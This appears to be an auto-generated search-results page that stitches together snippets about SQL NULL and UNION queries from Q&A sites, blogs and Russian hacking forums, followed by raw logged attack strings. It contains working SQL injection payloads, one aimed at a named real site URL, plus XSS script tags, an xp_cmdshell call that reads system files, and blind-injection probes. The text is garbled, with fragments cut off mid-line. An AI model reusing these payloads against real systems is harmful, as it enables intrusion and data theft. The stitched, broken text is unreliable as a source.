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mysql - Confusing SQL error in SELECT NULL, *, NULL, NULL

stackoverflow.com

UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a

sql injection "union select null" - CodeProject

www.codeproject.com

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it...

Шпаргалка по SQL инъекциям | DefconRU

defcon.ru

Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит объединить

SQL using If Not Null on a Concatenation - Stack Overflow

stackoverflow.com

Although Oracle treats zero-length character strings as nulls, concatenating a zero-length character string with another operand always results in the other operand, so null can result only from the concatenation of two null strings.

Хитрости count() в SQL: m_ivanov — ЖЖ

m-ivanov.livejournal.com

SELECT id, count(*), count(price>1) FROM usr GROUP BY id. Конечно, в таком виде запрос не сработает.

SQL Инъекции | Page 798 | ANTICHAT - Security online community

forum.antichat.ru

http://www.harbor.ru/catalogue/cat.php?id=3'+union+all+select+1,(select+concat(0x3d7e3d,ifnull

SQL Инъекции | Page 797 | ANTICHAT - Security online...

forum.antichat.ru

...Null,null,null,null,null,null,null,null,null,null,null,null,concat

SQL Tip: COUNTing NULL values – Benjamin's Blog

sqlbenjamin.wordpress.com

· Using SELECT COUNT(*) or SELECT COUNT(1) (which is what I prefer to use) will return the total of all records returned in the result set regardless of NULL values. · Using COUNT()will count the number of non-NULL items in the specified column (NULL fields...

Counting NULLs | SQL Studies

sqlstudies.com

How do NULL values affect the COUNT function? Here are three different ways to COUNT: Count the…

NULL Values In SQL | SQL UNION Clause - DataFlair

data-flair.training

SELECT City, Country FROM Customers WHERE Country='Germany' UNION ALL SELECT City, Country FROM Suppliers WHERE Country='Germany' ORDER BY City; So, this was all in SQL NULL values. Hope you like our explanation of UNION Clause in SQL.

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"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 6908=(select (case when (6908=2550) then 6908 else (select 2550 union select 3456) end))-- hbpi
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- alwt
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 3956=(select (case when (3956=2163) then 3956 else (select 2163 union select 4524) end))-- hzxq
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- gyij
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- wian
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 9729=(select (case when (9729=1260) then 9729 else (select 1260 union select 2140) end))-- gehw
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- hgjf
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 9901=(select (case when (9901=7115) then 9901 else (select 7115 union select 6880) end))-- pffb

(/select 1 /from(/'/**/union/**/all/**/select/**/null,null,null,null,null,null,null--/**/eflk/select count(),/concat((/select(/select /unhex(/hex(/concat(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21)))) /from information_schem на YouTube:

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